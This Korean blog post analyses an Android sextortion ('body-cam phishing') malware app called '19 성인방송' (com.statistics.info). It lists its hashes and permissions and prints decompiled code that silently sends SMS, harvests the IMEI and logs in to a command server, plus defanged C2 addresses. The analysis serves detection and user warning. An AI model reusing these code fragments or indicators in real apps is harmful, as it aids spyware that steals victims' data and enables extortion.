꿈을꾸는 파랑새

오늘은 몸캠 피싱 악성코드 중 하나인 19 성인방송(2021.01.18)을 분석을 하는 시간을 가져 보겠습니다. 일단 해당 악성코드는 AhnLab-V3:Trojan/Android.SMSstealer.1003720, BitDefenderFalx:Android.Monitor.Agent.ED 등의 진단명으로 탐지를 하고 있으면 해쉬값은 다음과 같습니다.
MD5:3c97435a5bbe360cd4dda6120fc2a5c5
SHA-1:cbdcb6b1467d365288f3b06c7a435abc895f51f2
SHA-256:d9488abce68851b4045bea1d4db4d0c61ab0b7e41f83bf1a801cccf2cb889d47
앱 이름과 패키지 이름은 다음과 같습니다.
app_name:19 성인방송
package_name:com.statistics.info
해당 악성코드 권한은 다음과 같습니다.
android.permission.CAMERA
android.permission.READ_SMS
android.permission.INTERNET
android.permission.CALL_PHONE
android.permission.BLUETOOTH
android.permission.WAKE_LOCK
android.permission.RECORD_AUDIO
android.permission.READ_CALL_LOG
android.permission.WRITE_CALL_LOG

안드로이드 악성코드 권한

android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.BLUETOOTH_ADMIN
android.permission.READ_PHONE_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.FOREGROUND_SERVICE
android.permission.SYSTEM_ALERT_WINDOW
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_FINE_LOCATION
android.permission.SYSTEM_OVERLAY_WINDOW
android.permission.MODIFY_AUDIO_SETTINGS
android.permission.READ_EXTERNAL_STORAGE
android.permission.ACCESS_COARSE_LOCATION
android.permission.WRITE_EXTERNAL_STORAGE>
android.permission.REQUEST_INSTALL_PACKAGES>
android.permission.ACCESS_BACKGROUND_LOCATION
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

com.statistics.info.p017e.C0887a0

android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.ANSWER_PHONE_CALLS
android.permission.PROCESS_OUTGOING_CALLS
android.permission.RECEIVE_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.READ_PHONE_NUMBERS
android.permission.PACKAGE_USAGE_STATS
android.permission.BIND_ACCESSIBILITY_SERVICE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.SEND_SMS
입니다. 사실상 스마트폰에 있는 권한을 다 가져가는 것을 볼 수가 있고 통제를 할수가 있는 권한도 엄청 있는것을 볼수가 있습니다.
main_activity는 com.statistics.info.OnePixelActivity
이고 receivers 쪽 역할은 다음과 같습니다.
com.statistics.info.receivers.MmsReceiver
com.statistics.info.receivers.SmsReceiver
com.statistics.info.receivers.a
com.statistics.info.receivers.b
그리고 com.statistics.info.p017e.C0887a0 영역에서 SMS 즉 문자에 접근을 해서 문자를 보내는 것을 볼 수가 있습니다.

스마트폰 IMEI 정보 수집

public static boolean m1608e(String phoneNumber, String message, Context context) {
String str = message;
Context context2 = context;
if (TextUtils.isEmpty(phoneNumber)) {
String str2 = phoneNumber;
} else if (TextUtils.isEmpty(message)) {
String str3 = phoneNumber;
} else {
C0944v.m1766a("send sms phoneNumber:" + phoneNumber);
C0944v.m1766a("send sms message:" + str);
SmsManager sms = SmsManager.getDefault();
Intent sentIntent = new Intent("SENT_SMS_ACTION");
PendingIntent sentPI = PendingIntent.getBroadcast(context2, 0, sentIntent, 0);
Intent deliverIntent = new Intent("DELIVERED_SMS_ACTION");
PendingIntent deliverPI = PendingIntent.getBroadcast(context2, 0, deliverIntent, 0);
if (message.length() > 70) {
Iterator it = sms.divideMessage(str).iterator();
while (it.hasNext()) {
sms.sendTextMessage(phoneNumber, (String) null, it.next(), sentPI, deliverPI);
}
Intent intent = deliverIntent;
Intent intent2 = sentIntent;
return true;
}
Intent intent3 = deliverIntent;
Intent intent4 = sentIntent;
sms.sendTextMessage(phoneNumber, (String) null, message, sentPI, deliverPI);
return true;
}
return false;
}

Bytecode-Viewer 로 본 악성코드 주소

그리고 com.statistics.info.p017e.C0929p 부분 등에서는 스마트폰의 IMEI 정보를 가져가는 코드들도 존재를 하고 있습니다.
@SuppressLint({"MissingPermission"})
/* renamed from: b */
private static String m1713b() {
String imei = BuildConfig.VERSION_NAME;
try {
TelephonyManager tm = (TelephonyManager) BaseApplication.m1494a().getSystemService("phone");
if (Build.VERSION.SDK_INT >= 26) {
imei = tm.getImei();
}
if (TextUtils.isEmpty(imei)) {
return tm.getDeviceId();
}
return imei;
} catch (Exception e) {
C0944v.m1767b(e);
return imei;
}
}

com.statistics.info.services.MainService

그리고 당연히 해당 악성코드에서는 주소가 존재를 하고 있습니다.
K-.Ki(.)Ki/K-.
hxxp://restapi(.)amap.com/v3/place/text?",
hxxp://175(.)118.126.116:8005
hxxp://localhost
hxxp://lbs.amap(.)co?/api/android-location-sdk/guide/utilities/errorcode
hxxp://sktone(.)kro.kr
hxxp://aps(.)testing.amap.com/collection/collectData?src=baseCol&ver=v74&",
vnd(.)android.cursor.item/phone_v2
vnd(.)android.cursor.item/name
hxxp://restapi(.)amap.com
hxxp://restapi(.)amap.com/v3/iasdkauth
hxxp://dualstack(.)apilocate.amap.com/mobile/binary
hxxp://lame(.)sf.net
hxxp://apilocate(.)amap.com/mobile/binary
hxxp://dualstack-restapi(.)amap.com/v3/geocode/regeo
hxxps://restapi(.)amap.com/v3/iasdkauth
hxxp://restapi(.)amap.com/v3/config/district?
hxxp://abroad(.)apilocate.amap.com/mobile/binary
cgicol(.)amap.com/collection/collectData?src=baseCol&ver=v74&
hxxp://restapi(.)amap.com/v3/place/around?
hxxp://175(.)126.146.156
hxxp://restapi(.)amap.com/v3/geocode/regeo
hxxp://schemas(.)android.com/apk/res/android
com.statistics.info.services.MainService 부분에서는 악성코드가 서버에 접속을 하고 볼 수가 있게 ID,비밀번호가 들어가져 있는것을 볼수가 있습니다.
private void d(String paramString1, String paramString2) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("deviceId ");
stringBuilder.append(paramString2);
v.a(stringBuilder.toString());
JsonArray jsonArray = new JsonArray();
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty("email", "???????");
jsonObject.addProperty("password", "???");
jsonArray.add((JsonElement)jsonObject);
RequestBody requestBody = com.statistics.info.net.d.b(jsonArray);
com.statistics.info.net.d.d(((com.statistics.info.b.d)com.statistics.info.net.d.a(com.statistics.info.b.d.class)).a(requestBody), (h)new c(this, paramString1));
}
일단 이런 악성코드에 감염이 되는 것을 최소화하기 위해서 반드시 유명한 백신앱을 설치를 하고 실시간 감시를 돌리는 것이 안전하게 해당 스마트폰을 사용을 하는 방법일 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band